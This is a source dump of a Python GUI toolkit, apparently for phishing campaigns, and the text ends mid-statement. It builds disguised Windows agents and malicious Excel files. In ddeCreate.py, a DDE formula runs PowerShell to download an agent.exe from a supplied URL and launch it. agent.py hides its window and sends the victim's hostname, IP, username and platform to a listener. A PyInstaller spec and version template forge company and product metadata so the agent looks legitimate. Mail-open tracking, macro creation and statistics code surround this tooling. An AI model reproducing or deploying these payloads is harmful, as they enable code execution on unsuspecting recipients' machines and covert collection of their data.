-------------------------------------------------------------------------------- 1 | PyQt5==5.11.2 2 | PyInstaller==3.3.1 3 | XlsxWriter==1.0.5 4 | matplotlib==2.2.2 5 | openpyxl==2.5.4 6 | paramiko==2.4.1 7 | pywin32==223 -------------------------------------------------------------------------------- /sendMail.py: -------------------------------------------------------------------------------- 1 | from mailsender.smtp import SendMail 2 | import os , time 3 | 4 | # SMTP Setting 5 | 6 | class SettingSender(object): 7 | 8 | def __init__(self,starttime,thread,opentrackurl,sender,attach,subject,message,smtphost,smtpport,mailadress,mailpassword,*sendto): 9 | 10 | kwargs = {} 11 | kwargs['smtpt'] = smtphost 12 | kwargs['port'] = smtpport 13 | kwargs['mailhost'] = mailadress 14 | kwargs['passwd'] = mailpassword 15 | 16 | with open(os.getcwd() + '\\sleuth\\mailOpenList\\' + starttime + '.txt', 'x') as createopen: 17 | createopen.write("") 18 | 19 | 20 | SendMail(thread,starttime,opentrackurl,attach, sender, subject, message, *sendto, **kwargs) 21 | 22 | 23 | 24 | if __name__ == '__main__': 25 | SettingSender() 26 | -------------------------------------------------------------------------------- /sleuth/_: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sleuth/agent.py: -------------------------------------------------------------------------------- 1 | import os , win32api,win32gui 2 | import sys, socket 3 | import platform 4 | import json ,time 5 | import win32con 6 | 7 | 8 | # One Shot 9 | 10 | HOSTNAME = [] 11 | IPADRESS = [] 12 | TIME = [] 13 | PLATFORM = [] 14 | USERNAME = [] 15 | 16 | hide = win32gui.GetForegroundWindow() 17 | win32gui.ShowWindow(hide, False) 18 | 19 | try: 20 | 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | 23 | host = "127.0.0.1" 24 | port = 1337 25 | 26 | s.connect((host,port)) 27 | 28 | except ConnectionRefusedError: 29 | s.close() 30 | sys.exit() 31 | 32 | # Get Client Informations 33 | 34 | gethoname = win32api.GetComputerName() #Get Hostname 35 | time = time.ctime() # Get Open Time 36 | getipadress,ports = s.getsockname() # Get Ip Adress 37 | versionsun = platform.platform() # Get Platform 38 | osbit = platform.architecture() # Get Arch 39 | usergelme = os.environ['USERNAME'] # Get Username 40 | 41 | #Append Arg 42 | 43 | HOSTNAME.append(gethoname) 44 | IPADRESS.append(getipadress) 45 | PLATFORM.append(versionsun) 46 | PLATFORM.append(osbit[0]) 47 | USERNAME.append(usergelme) 48 | TIME.append(time) 49 | 50 | dict = {"hostname":HOSTNAME,"ipadress":IPADRESS,"platform":PLATFORM,"username":USERNAME,"time":TIME} 51 | 52 | s.sendall(json.dumps(dict).encode()) 53 | -------------------------------------------------------------------------------- /sleuth/agentOpenList/Report/rapor: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sleuth/agentplot.py: -------------------------------------------------------------------------------- 1 | import matplotlib.pyplot as plt 2 | import os 3 | 4 | class BasicReport(object): 5 | 6 | def __init__(self,send,open,starttime,sendtxt,opentxt,savedir): 7 | 8 | func = 100*open 9 | itachi = func/send 10 | 11 | 12 | labels = sendtxt+str(send),opentxt+str(open) 13 | sizes = [100-itachi,itachi] 14 | explode = (0, 0.09) 15 | 16 | color = ['palegreen','paleturquoise'] 17 | 18 | fig1, ax1 = plt.subplots() 19 | ax1.pie(sizes, explode=explode, autopct='%1.1f%%', 20 | shadow=True, startangle=100, colors=color) 21 | 22 | centre_circle = plt.Circle((0, 0), 0.70, fc='white') 23 | fig = plt.gcf() 24 | fig.gca().add_artist(centre_circle) 25 | 26 | ax1.axis('equal') 27 | 28 | plt.legend(labels,loc="best") 29 | plt.tight_layout() 30 | plt.savefig(os.getcwd()+"\\sleuth\\"+savedir+"\\Report\\"+starttime+".png") 31 | plt.show() -------------------------------------------------------------------------------- /sleuth/createReport.py: -------------------------------------------------------------------------------- 1 | from sleuth.agentplot import BasicReport 2 | 3 | #Function sent to create report 4 | 5 | class Report(object): 6 | 7 | def __init__(self,sending,open,starttime,sendtxt,opentxt,savedir): 8 | 9 | BasicReport(sending,open,starttime,sendtxt,opentxt,savedir) 10 | -------------------------------------------------------------------------------- /sleuth/ddeCreate.py: -------------------------------------------------------------------------------- 1 | import os ,time 2 | import openpyxl, xlsxwriter 3 | 4 | class CreateDDE(object): 5 | 6 | def WorkDDE(self,agenturl,agentname,ddetextlocation,ddelinetext,ddeimage,ddeimglocation): 7 | 8 | value = "=cmd|'/c powershell.exe (New-Object System.Net.WebClient).DownloadFile(\\\"{}\\\",\\\"agent.exe\\\");Start-Process \\\"agent.exe\\\"'!A70".format(agenturl) 9 | workbook = xlsxwriter.Workbook(agentname+'.xlsx') 10 | worksheet = workbook.add_worksheet() 11 | worksheet.write_formula('A70','{}'.format(value)) 12 | worksheet.write(ddetextlocation, ddelinetext) 13 | worksheet.insert_image(ddeimglocation, ddeimage) 14 | workbook.close() 15 | 16 | def CheckOrther(self,ddeimglocation,agentname,ddetextlocation, ddelinetext, ddeimage,ortherpayload): 17 | 18 | value = "{}".format(ortherpayload)+"!A70" 19 | print(value) 20 | workbook = xlsxwriter.Workbook(agentname+'.xlsx') 21 | worksheet = workbook.add_worksheet() 22 | worksheet.write_formula('A70','{}'.format(value)) 23 | worksheet.write(ddetextlocation, ddelinetext) 24 | worksheet.insert_image(ddeimglocation, ddeimage) 25 | workbook.close() -------------------------------------------------------------------------------- /sleuth/mailOpenList/Report/rapor: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sleuth/settings/Uygulama.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(["AGENTFILE"], 7 | pathex=["PROJECTPATH"], 8 | binaries=[], 9 | datas=[], 10 | hiddenimports=[], 11 | hookspath=[], 12 | runtime_hooks=[], 13 | excludes=[], 14 | win_no_prefer_redirects=False, 15 | win_private_assemblies=False, 16 | cipher=block_cipher) 17 | 18 | pyz = PYZ(a.pure, a.zipped_data, 19 | cipher=block_cipher) 20 | exe = EXE(pyz, 21 | a.scripts, 22 | a.binaries, 23 | a.zipfiles, 24 | a.datas, 25 | name='FILENAME', 26 | debug=False, 27 | strip=False, 28 | upx=True, 29 | runtime_tmpdir=None, 30 | console=True , version="VERFILE", icon="ICOFILE") 31 | -------------------------------------------------------------------------------- /sleuth/settings/tmpfile/tmp: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /sleuth/settings/version.txt: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(FILEVER), 4 | prodvers=(PRODVER), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u'COMPNAME'), 18 | StringStruct(u'FileDescription', u'FILEDES'), 19 | StringStruct(u'FileVersion', u'FILEVER)'), 20 | StringStruct(u'InternalName', u''), 21 | StringStruct(u'LegalCopyright', u'\COPYRIGHT'), 22 | StringStruct(u'OriginalFilename', u'ORGINALNAME'), 23 | StringStruct(u'ProductName', u'PRODNAME'), 24 | StringStruct(u'ProductVersion', u'PRODVER')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) -------------------------------------------------------------------------------- /start.py: -------------------------------------------------------------------------------- 1 | #Project Creator Abdulaziz ALTUNTAŞ 2 | #No Version 3 | 4 | from PyQt5.QtWidgets import QApplication , QMainWindow ,QFileDialog , QListWidget,QListWidgetItem ,QTreeWidgetItem ,QMessageBox,QLineEdit,QGraphicsPixmapItem 5 | from PyQt5.QtGui import QPixmap 6 | import sys,random 7 | from sendMail import SettingSender 8 | from threading import Thread 9 | import paramiko 10 | from PyQt5 import QtCore, QtGui, QtWidgets 11 | import re, socket , string 12 | import os , subprocess 13 | from createAgent import Agent 14 | import smtplib,json 15 | from messagebox import Message 16 | import threading 17 | from createMacro import Macro 18 | import time,logging 19 | from sleuth.ddeCreate import CreateDDE 20 | from sleuth.createReport import Report 21 | 22 | class Ui_MainWindow(QMainWindow): 23 | 24 | def macroSelectDir(self): 25 | 26 | try: 27 | 28 | fileName = str(QFileDialog.getExistingDirectory(self, "Select Directory")) 29 | self.dir = fileName.replace("/","\\") 30 | self.makrosavedir.setText(self.dir) 31 | 32 | except: 33 | pass 34 | 35 | def macroSelectImg(self): 36 | 37 | try: 38 | 39 | selectimg = QtWidgets.QFileDialog() 40 | imgpath = selectimg.getOpenFileName(self, 'Select Image File', './',filter='Jpg Files(*.jpg);; Png Files(*.png)') 41 | clearing = imgpath[0] 42 | self.macroimg = clearing.replace("/","\\") 43 | self.macroimage.setText(self.macroimg) 44 | 45 | except: 46 | pass 47 | 48 | 49 | def createMac(self): 50 | 51 | # saveas,url,text,textloc,buttontex,buttonloc,imgpath,imgloc,fname 52 | 53 | url = self.makroagenturl.text() 54 | fname = self.makrofilename.text() 55 | saveas = self.makrosavedir.text() 56 | text = self.macrolinetext.toPlainText() 57 | textloc = self.macrotextloc.text() 58 | buttontex = self.macrobuttontext.text() 59 | buttonloc = self.macrobuttonloc.text() 60 | imgpath = self.macroimage.text() 61 | imgloc = self.macroimageloc.text() 62 | 63 | 64 | textl = re.findall(r'([A-Z][0-9]+[\$0-9]|[A-Z][0-9])', textloc) 65 | buttonl = re.findall(r'([A-Z][0-9]+[\$0-9]|[A-Z][0-9])', buttonloc) 66 | imgl = re.findall(r'([A-Z][0-9]+[\$0-9]|[A-Z][0-9])', imgloc) 67 | 68 | if not url or not fname or not saveas or not text or not textloc or not buttontex or not buttonloc or not imgpath or not imgloc: 69 | Message("Error !", "Please Enter ALL Input !", "Macro Creator") 70 | 71 | elif not textl or not buttonl or not imgl: 72 | Message("Error !", "Please Enter [A1][B12] Format !", "Macro Creator") 73 | 74 | else: 75 | 76 | textlocation = textl[0] 77 | buttonlocation = buttonl[0] 78 | imglocation = imgl[0] 79 | 80 | print(textlocation) 81 | print(textloc) 82 | Message("Macro Creator", "Click To Start !", "Warning !") 83 | Macro(saveas,url,text,textlocation,buttontex,buttonlocation,imgpath,imglocation,fname) 84 | 85 | def salgel(self,finish): 86 | 87 | self.mailliststatus.setText(finish) 88 | 89 | def StartRet(self): 90 | 91 | try: 92 | 93 | host = self.returnhost.text() 94 | port = self.returnport.text() 95 | 96 | ipcont = re.findall( 97 | r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b", 98 | host) 99 | portcont = re.findall(r"\d{1,5}(?:-\d{1,5})?(\s*,\s*\d{1,5}(?:-\d{1,5})?)*$", port) 100 | 101 | if not ipcont: 102 | Message("Error !", "Please Enter Ip Adress", "Agent Open Track") 103 | 104 | elif not portcont: 105 | Message("Error !", "Please Enter Port", "Agent Open Track") 106 | 107 | else: 108 | 109 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 110 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 111 | s.bind((host, int(port))) 112 | s.close() 113 | 114 | 115 | self.returnstart.setDisabled(True) 116 | 117 | 118 | self.starttime = str(time.ctime()) 119 | self.starttime = self.starttime.replace(" ","-") 120 | self.starttime = self.starttime.replace(":","") 121 | 122 | with open(os.getcwd() + '\\sleuth\\agentOpenList\\' + self.starttime + '.txt', 'x') as createopen: 123 | createopen.write("") 124 | 125 | 126 | if os.path.isfile(os.getcwd()+'\\sleuth\\settings\\tmpfile\\ipcontrol.txt'): 127 | 128 | with open(os.getcwd() + '\\sleuth\\settings\\tmpfile\\ipcontrol.txt', 'w') as clearip: 129 | clearip.write("") 130 | 131 | thread = Thread(target=self.AgentReturn) 132 | thread.daemon = True 133 | thread.start() 134 | Message("Server Started ", "Successful !", "Agent Open Track") 135 | 136 | else: 137 | 138 | with open(os.getcwd() + '\\sleuth\\settings\\tmpfile\\ipcontrol.txt','x') as createip: 139 | thread = Thread(target=self.AgentReturn) 140 | thread.daemon = True 141 | thread.start() 142 | 143 | 144 | 145 | except Exception as f: 146 | 147 | t, o, tb = sys.exc_info() 148 | print(f, tb.tb_lineno) 149 | Message("Server Started Error !", "The requested address is not valid !", "Agent Open Track") 150 | 151 | 152 | 153 | def Come(self,HOSTNAME,USERNAME,IPADRESS,TIME,PLATFORM): 154 | import time 155 | 156 | 157 | logging.basicConfig( 158 | filename=os.getcwd() + '\\sleuth\\agentOpenList\\' + self.starttime + '.txt', 159 | level=logging.INFO, 160 | format="%(message)s" 161 | ) 162 | 163 | try: 164 | 165 | with open(os.getcwd() + '\\sleuth\\settings\\tmpfile\\ipcontrol.txt', 'r') as san: 166 | sanread = san.read() 167 | 168 | for ipadress in IPADRESS: 169 | pass 170 | 171 | 172 | if ipadress not in sanread: 173 | 174 | self.retWid = QTreeWidgetItem(self.agentOpenwidget) 175 | 176 | with open(os.getcwd() + '\\sleuth\\settings\\tmpfile\\ipcontrol.txt', 'a') as sanwrite: 177 | sanwrite.write(ipadress+"\n") 178 | 179 | 180 | self.retCol = QTreeWidgetItem(self.retWid) 181 | 182 | for host in HOSTNAME: 183 | self.retCol.setText(1, host) 184 | for username in USERNAME: 185 | self.retCol.setText(0, username) 186 | for ipadress in IPADRESS: 187 | self.retWid.setText(0, ipadress) 188 | for time in TIME: 189 | self.retCol.setText(3, time) 190 | for platform in PLATFORM: 191 | self.retCol.setText(2, platform) 192 | 193 | # with open(os.getcwd() + '\\sleuth\\agentOpenList\\'+self.starttime+'.txt', 'a') as createopen: 194 | # createopen.write("Agent Open! : "+ipadress+" "+username+" "+host+" "+platform+" "+time+"\n") 195 | 196 | logging.info("Agent Open! : "+ipadress+" "+username+" "+host+" "+platform+" "+time) 197 | 198 | else: 199 | pass 200 | 201 | except Exception as f: 202 | 203 | t, o, tb = sys.exc_info() 204 | print(f, tb.tb_lineno) 205 | 206 | def AgentReturn(self): 207 | 208 | host = self.returnhost.text() 209 | port = int(self.returnport.text()) 210 | 211 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 212 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 213 | s.bind((host, port)) 214 | 215 | while True: 216 | 217 | s.listen(400) 218 | c, hs = s.accept() 219 | thread = Thread(target=self.GetData,args=(hs, c)) 220 | thread.daemon = True 221 | thread.start() 222 | 223 | self.message = "Okey" 224 | 225 | def DDEImgSelect(self): 226 | 227 | try: 228 | 229 | selectimg = QtWidgets.QFileDialog() 230 | imgpath = selectimg.getOpenFileName(self, 'Select Image File', './',filter='Jpg Files(*.jpg);; Png Files(*.png)') 231 | clearing = imgpath[0] 232 | self.ddeimg = clearing.replace("/","\\") 233 | self.ddeimage.setText(self.ddeimg) 234 | 235 | except: 236 | pass 237 | 238 | 239 | def GenerateStatistic(self): 240 | 241 | try: 242 | 243 | sendingmachines = "Sending Machines: " 244 | agentopen = "Agent Open: " 245 | agentsavedir = "agentOpenList" 246 | 247 | send = 0 248 | sending = [self.maillistWidget.item(i) for i in range(self.maillistWidget.count())] 249 | for _ in sending: 250 | send += 1 251 | 252 | 253 | with open(os.getcwd() + '\\sleuth\\agentOpenList\\' + self.starttime + '.txt','r') as openagent: 254 | 255 | opena = 0 256 | 257 | for b in openagent.readlines(): 258 | ipcont = re.findall( 259 | r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b", 260 | b) 261 | 262 | if not ipcont: 263 | pass 264 | else: 265 | for c in ipcont: 266 | opena += 1 267 | 268 | Report(send,opena,self.starttime,sendingmachines,agentopen,agentsavedir) 269 | 270 | img = QPixmap(os.getcwd()+"\\sleuth\\agentOpenList\\Report\\"+self.starttime+".png") 271 | 272 | self.agentopenlabel.setPixmap(img) 273 | self.agentopenlabel.setScaledContents(True) 274 | 275 | Message("Agent Report Create Successful !", os.getcwd()+"\\sleuth\\agentOpenList\\Report\\"+self.starttime+".png "+"Saved !", "Info") 276 | 277 | 278 | except Exception as f: 279 | 280 | t, o, tb = sys.exc_info() 281 | print(f, tb.tb_lineno) 282 | Message("Agent Report Create Error !", "Some Arguments are Missing !", "Agent Open Statistic") 283 | 284 | def GenerateMailStatistic(self): 285 | 286 | try: 287 | 288 | sendingmail = "Sending Mail: " 289 | mailopen = "Mail Open: " 290 | mailsavedir = "mailOpenList" 291 | 292 | send = 0 293 | sending = [self.maillistWidget.item(i) for i in range(self.maillistWidget.count())] 294 | for _ in sending: 295 | send += 1 296 | 297 | with open(os.getcwd() + '\\sleuth\\mailOpenList\\Report\\' + self.privatestart + '.txt', 'r') as openmail: 298 | 299 | openm = 0 300 | 301 | for b in openmail.readlines(): 302 | getmail = re.findall(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b", b) 303 | 304 | if not getmail: 305 | pass 306 | else: 307 | for c in getmail: 308 | openm += 1 309 | 310 | Report(send, openm, self.privatestart,sendingmail,mailopen,mailsavedir) 311 | 312 | img = QPixmap(os.getcwd() + "\\sleuth\\mailOpenList\\Report\\" + self.privatestart + ".png") 313 | 314 | self.mailopenlabel.setPixmap(img) 315 | self.mailopenlabel.setScaledContents(True) 316 | 317 | Message("Mail Report Create Successful !", os.getcwd()+"\\sleuth\\mailOpenList\\Report\\"+self.privatestart+".png "+"Saved !", "Info") 318 | except Exception as f: 319 | 320 | t, o, tb = sys.exc_info() 321 | print(f, tb.tb_lineno) 322 | Message("Mail Report Create Error !", "Some Arguments are Missing !", "Mail Open Statistic") 323 | 324 | def DDECreate(self): 325 | 326 | # agenturl, agentname, ddetextloc, ddelinetext, ddeimage, ddeimgloc 327 | 328 | agenturl = self.agenturl.text() 329 | agentname = self.agentname.text() 330 | ddetextloc = self.ddetextloc.text() 331 | ddelinetext = self.ddelinetext.toPlainText() 332 | ddeimage = self.ddeimage.text() 333 | ddeimgloc = self.ddeimgloc.text() 334 | 335 | 336 | ddetloc = re.findall(r'([A-Z][0-9]+[\$0-9]|[A-Z][0-9])', ddetextloc) 337 | ddeiloc = re.findall(r'([A-Z][0-9]+[\$0-9]|[A-Z][0-9])', ddeimgloc) 338 | 339 | 340 | if not agenturl or not agentname or not ddetextloc or not ddelinetext or not ddeimage or not ddeimgloc: 341 | Message("Error !", "Please Enter ALL Input !", "DDE Creator") 342 | 343 | elif not ddeiloc or not ddetloc: 344 | Message("Error !", "Please Enter [A1][B12] Format !", "DDE Creator") 345 | 346 | else: 347 | 348 | ddetextlocation = ddetloc[0] 349 | ddeimglocation = ddeiloc[0] 350 | 351 | if self.orthercheck.isChecked() == True: 352 | 353 | try: 354 | 355 | ortherpayload = self.ortherpayload.toPlainText() 356 | 357 | ddetextlocation = ddetloc[0] 358 | ddeimglocation = ddeiloc[0] 359 | 360 | Message("DDE Creator", "Click To Start !", "Warning !") 361 | create = CreateDDE() 362 | 363 | create.CheckOrther(ddeimglocation,agentname,ddetextlocation, ddelinetext, ddeimage,ortherpayload) 364 | 365 | except Exception as f: 366 | 367 | t, o, tb = sys.exc_info() 368 | print(f, tb.tb_lineno) 369 | 370 | else: 371 | 372 | workdde = CreateDDE() 373 | Message("DDE Creator", "Click To Start !", "Warning !") 374 | 375 | workdde.WorkDDE(agenturl,agentname,ddetextlocation,ddelinetext,ddeimage,ddeimglocation) 376 | 377 | def GetData(self,hs,c): 378 | 379 | _ = [] 380 | HOSTNAME = [] 381 | IPADRESS = [] 382 | TIME = [] 383 | PLATFORM = [] 384 | USERNAME = [] 385 | 386 | 387 | 388 | while True: 389 | try: 390 | 391 | self.data = c.recv(1024) 392 | self.data = json.loads(self.data.decode("utf-8")) 393 | 394 | hostname = self.data.get("hostname") 395 | ipadress = self.data.get("ipadress") 396 | opentime = self.data.get("time") 397 | platform = self.data.get("platform") # Two Key ([Windows10,32bit]) 398 | username = self.data.get("username") 399 | 400 | for host in hostname: 401 | HOSTNAME.append(host) 402 | for user in username: 403 | USERNAME.append(user) 404 | for ip in ipadress: 405 | IPADRESS.append(ip) 406 | for optime in opentime: 407 | TIME.append(optime) 408 | for plat in platform: 409 | PLATFORM.append(plat) 410 | 411 | 412 | self.Come(HOSTNAME,USERNAME,IPADRESS,TIME,PLATFORM) 413 | 414 | 415 | except: 416 | break 417 | 418 | c.close() 419 | 420 | 421 | def AgentIco(self): 422 | 423 | try: 424 | 425 | options = QFileDialog.Options() 426 | options |= QFileDialog.DontUseNativeDialog 427 | fileName, _ = QFileDialog.getOpenFileName(self, options=options) 428 | 429 | icodir = fileName.replace('/',"\\\\") 430 | 431 | self.fileico.setText(icodir) 432 | except Exception as f: 433 | 434 | t, o, tb = sys.exc_info() 435 | print(f, tb.tb_lineno) 436 | 437 | def selectPrivate(self): 438 | 439 | try: 440 | 441 | options = QFileDialog.Options() 442 | options |= QFileDialog.DontUseNativeDialog 443 | fileName, _ = QFileDialog.getOpenFileName(self, options=options) 444 | 445 | icodir = fileName.replace('/',"\\\\") 446 | 447 | self.privatekey.setText(icodir) 448 | except Exception as f: 449 | 450 | t, o, tb = sys.exc_info() 451 | print(f, tb.tb_lineno) 452 | 453 | 454 | 455 | def AgentCreate(self): 456 | 457 | try: 458 | 459 | if not self.host.text() or not self.port.text(): 460 | self.ThreadMessage("Agent Error", " Blank Host or Port !", "Info") 461 | elif not self.compname.text() or not self.filedes.text() or not self.fileverseye.text(): 462 | self.ThreadMessage("Agent Error", " Blank Agent Detail !", "Info") 463 | elif not self.filevers.text() or not self.filecorp.text() or not self.orginalname.text(): 464 | self.ThreadMessage("Agent Error", " Blank Agent Detail !", "Info") 465 | elif not self.productver.text() or not self.productname.text() or not self.filename.text(): 466 | self.ThreadMessage("Agent Error", " Blank Agent Detail !", "Info") 467 | elif not self.fileico.text(): 468 | self.ThreadMessage("Agent Error", " Please Select Ico File !", "Info") 469 | elif not self.fileico.text().endswith('.ico'): 470 | self.ThreadMessage("Agent Error", " Wrong File Format. Please Select (.ico) Format.!", "Info") 471 | 472 | else: 473 | 474 | nagato = len("nagato") 475 | n = nagato 476 | 477 | null = "" 478 | for _ in range(n): 479 | esc = random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) 480 | null += esc 481 | 482 | 483 | with open(os.getcwd()+"\\sleuth\\agent.py",'r') as agent: 484 | 485 | agentfile = agent.read() 486 | agentfile = agentfile.replace('127.0.0.1',self.host.text()) 487 | agentfile = agentfile.replace('1337',self.port.text()) 488 | 489 | with open(os.getcwd()+'\\sleuth\\settings\\tmpfile\\'+null+'.py','w') as tmpagent: 490 | 491 | tmpagent.write(agentfile) 492 | 493 | 494 | with open(os.getcwd()+"\\sleuth\\settings\\version.txt", 'r') as txt: 495 | version = txt.read() 496 | 497 | filever = self.fileverseye.text() 498 | filever = filever.replace('.',',') 499 | prodver = self.productver.text() 500 | prodver = prodver.replace('.',',') 501 | 502 | version = version.replace('FILEVER',filever) 503 | version = version.replace('PRODVER',prodver) 504 | version = version.replace('COMPNAME',self.compname.text()) 505 | version = version.replace('FILEDES',self.filedes.text()) 506 | version = version.replace('COPYRIGHT',self.filecorp.text()) 507 | version = version.replace('ORGINALNAME',self.orginalname.text()) 508 | version = version.replace('PRODNAME',self.productname.text()) 509 | 510 | with open(os.getcwd()+"\\sleuth\\settings\\tmpfile\\"+null+".txt",'w') as tmptxt: 511 | 512 | tmptxt.write(version) 513 | 514 | with open(os.getcwd()+"\\sleuth\\settings\\Uygulama.spec",'r') as spec: 515 | 516 | specfile = spec.read() 517 | projectDir = os.getcwd() 518 | projectDir = projectDir.replace("\\","\\\\") 519 | 520 | 521 | specfile = specfile.replace('ICOFILE',self.fileico.text()) 522 | specfile = specfile.replace('VERFILE',tmptxt.name.replace("\\","\\\\")) 523 | specfile = specfile.replace('FILENAME',self.filename.text()) 524 | specfile = specfile.replace('AGENTFILE',tmpagent.name.replace("\\","\\\\")) 525 | specfile = specfile.replace('PROJECTPATH',projectDir) 526 | 527 | with open(os.getcwd()+"\\sleuth\\settings\\tmpfile\\"+null+".spec",'w') as tmpspec: 528 | 529 | tmpspec.write(specfile) 530 | 531 | 532 | Agent(tmpspec.name,self.filename.text()) 533 | 534 | except Exception as f: 535 | t, o, tb = sys.exc_info() 536 | print(f, tb.tb_lineno) 537 | 538 | 539 | def returnControl(self): 540 | try: 541 | host = self.sship.text() 542 | username = self.sshuser.text() 543 | password = self.sshpass.text() 544 | port = self.sshport.text() 545 | command = self.accesslog.text() 546 | local = os.getcwd() 547 | privatekey = self.privatekey.text() 548 | privatepass = self.privatekeypass.text() 549 | 550 | ipcont = re.findall( 551 | r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b", 552 | host) 553 | portcont = re.findall(r"\d{1,5}(?:-\d{1,5})?(\s*,\s*\d{1,5}(?:-\d{1,5})?)*$", port) 554 | 555 | 556 | if self.normalconnect.isChecked() == True: 557 | 558 | 559 | if not host or not username or not password or not port or not command: 560 | self.ThreadMessage("Server Setting ", "Please Fill All Fields", "Info") 561 | 562 | elif not ipcont: 563 | Message("Error !", "Please Enter Ip Adress", "Mail Open Track") 564 | 565 | elif not portcont: 566 | Message("Error !", "Please Enter Port", "Mail Open Track") 567 | 568 | else: 569 | 570 | 571 | ssh = paramiko.SSHClient() 572 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 573 | ssh.connect(host, port, username, password,timeout = 5) 574 | ftp = ssh.open_sftp() 575 | 576 | ftp.get(command, 'log.txt') 577 | ftp.close() 578 | path = (os.getcwd() + "\\log.txt") 579 | 580 | self.ThreadMessage("Connection Successful", " Click to Start", "Info") 581 | self.opentrackstart.setDisabled(True) 582 | 583 | t = Thread(target=self.returnInfo) 584 | t.daemon = True 585 | t.start() 586 | 587 | elif self.privateconnect.isChecked() == True: 588 | 589 | if not host or not username or not port or not command or not privatekey or not privatepass: 590 | self.ThreadMessage("Server Setting ", "Please Fill All Fields", "Info") 591 | 592 | elif not ipcont: 593 | Message("Error !", "Please Enter Ip Adress", "Mail Open Track") 594 | 595 | elif not portcont: 596 | Message("Error !", "Please Enter Port", "Mail Open Track") 597 | 598 | else: 599 | 600 | pkey = paramiko.RSAKey.from_private_key_file(privatekey, privatepass) 601 | ssh = paramiko.SSHClient() 602 | ssh.load_system_host_keys() 603 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 604 | ssh.connect(host, port=int(port), username=username, pkey=pkey) 605 | ftp = ssh.open_sftp() 606 | 607 | ftp.get(command, 'log.txt') 608 | ftp.close() 609 | path = (os.getcwd() + "\\log.txt") 610 | 611 | self.ThreadMessage("Connection Successful", " Click to Start", "Info") 612 | self.opentrackstart.setDisabled(True) 613 | 614 | t = Thread(target=self.returnPrivInfo) 615 | t.daemon = True 616 | t.start() 617 | else: 618 | self.ThreadMessage("Connect Method Error", " Select Connection Method", "Info") 619 | 620 | 621 | except paramiko.AuthenticationException: 622 | self.ThreadMessage("Authentication Error", " Wrong Username or Password !", "Info") 623 | except paramiko.SSHException: 624 | self.ThreadMessage("Connection Error", " Control Private Key or Passphrase !", "Info") 625 | except socket.error: 626 | self.ThreadMessage("Connection Error", "SSH Server Down","Info") 627 | except Exception as f: 628 | t, o, tb = sys.exc_info() 629 | print(f,tb.tb_lineno) 630 | 631 | def returnPrivInfo(self): 632 | 633 | host = self.sship.text() 634 | username = self.sshuser.text() 635 | password = self.sshpass.text() 636 | port = self.sshport.text() 637 | command = self.accesslog.text() 638 | local = os.getcwd() 639 | privatekey = self.privatekey.text() 640 | privatepass = self.privatekeypass.text() 641 | 642 | if not self.privatestart: 643 | self.privatestart = str(time.ctime()) 644 | self.privatestart = self.privatestart.replace(" ", "-") 645 | self.privatestart = self.privatestart.replace(":", "") 646 | else: 647 | pass 648 | 649 | self.ipachi = QTreeWidgetItem(self.mailopenwidget) 650 | self.ipachi.setText(0, "Mails") 651 | self.ipachi.setText(1, "Status") 652 | 653 | self.screet = QTreeWidgetItem(self.screetwidget) 654 | self.screetitems = QTreeWidgetItem(self.screet) 655 | 656 | with open(os.getcwd() + "\\sleuth\\mailOpenList\\Report\\" + self.privatestart + ".txt", 'x') as mailtxt: 657 | 658 | mailtxt.write("") 659 | 660 | while True: 661 | 662 | 663 | pkey = paramiko.RSAKey.from_private_key_file(privatekey, privatepass) 664 | ssh = paramiko.SSHClient() 665 | ssh.load_system_host_keys() 666 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 667 | ssh.connect(host, port=int(port), username=username, pkey=pkey) 668 | ftp = ssh.open_sftp() 669 | 670 | ftp.get(command, 'log.txt') 671 | ftp.close() 672 | path = (os.getcwd() + "\\log.txt") 673 | with open(path,'r') as nan: 674 | 675 | _ = nan.read() 676 | _ = _.strip() 677 | 678 | bos = [''] 679 | list2 = [''] 680 | 681 | nonkala = set() 682 | 683 | 684 | getmail = re.findall(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b", _) 685 | col = [x for x in getmail if x not in nonkala and not nonkala.add(x)] 686 | 687 | if not col: 688 | pass 689 | else: 690 | 691 | if str(self.screetitems.text(0)) != str(col[::-1][0]): 692 | opentext = "Open" 693 | list2.append(col[::-1][0]) 694 | self.items = QTreeWidgetItem(self.ipachi) 695 | self.screetitems.setText(0,'{}'.format(col[::-1][0])) 696 | self.screetitems.setText(1, '{}'.format(opentext)) 697 | self.esc = self.items.setText(0,'{}'.format(col[::-1][0])) 698 | self.esc = self.items.setText(1, '{}'.format(opentext)) 699 | with 